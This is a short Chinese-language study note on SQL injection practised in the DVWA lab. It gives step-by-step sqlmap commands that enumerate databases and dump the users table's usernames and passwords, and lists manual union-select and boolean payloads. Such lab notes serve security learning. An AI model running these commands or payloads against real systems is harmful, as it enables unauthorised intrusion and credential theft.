SQLmap#
使用环境:DVWA
在 User ID:随意输入数字
由 brupSuite 拦截到,可获得
全部选中,复制到 sqlmap 根目录,新建个.txt 文件
然后在 CMD 中运行 sqlmap:
py .\sqlmap.py -r .\sql.txt
这里 sqlmap 扫出了 php 版本、Nginx 版本以及所用数据库及版本
再使用
py .\sqlmap.py -r .\sql.txt --dbs
扫出了其中包含的数据库和四种类型的注入漏洞
(布尔盲注、报错注入、延时注入、联合查询注入)
输入
py .\sqlmap.py -r .\sql.txt -D dvwa --tables
查询到 dvwa 数据库下,含有的数据表
py .\sqlmap.py -r .\sql.txt -D dvwa -T users --columns
查看 users 表中的字段,看到有 user、password
py .\sqlmap.py -r .\sql.txt -D dvwa -T users -C user,password --dump
扫出 user 和 password 的数据
SQL 注入#
sql 注入的核心
将用户输入的数据拼接到代码中,并被当成 sql 语句执行。
SQL 注入类型:
联合注入:在最后拼接 union select
布尔注入:看网页显示是否正常
延时注入:利用 sleep () 方法看数据库是否执行
报错注入:利用数据库的错误回显获取数据
宽字节注入:写入大量辣鸡字符
堆叠注入:利用分号来拼接多条语句
基础步骤:
判断注入点
id=1 and 1=2
判断字段数
id=1 order by 1
判断回显点
id=1 and 1=2 union select 1,2,3
查询相关内容
id=1 and 1=2 union select 1,database(),3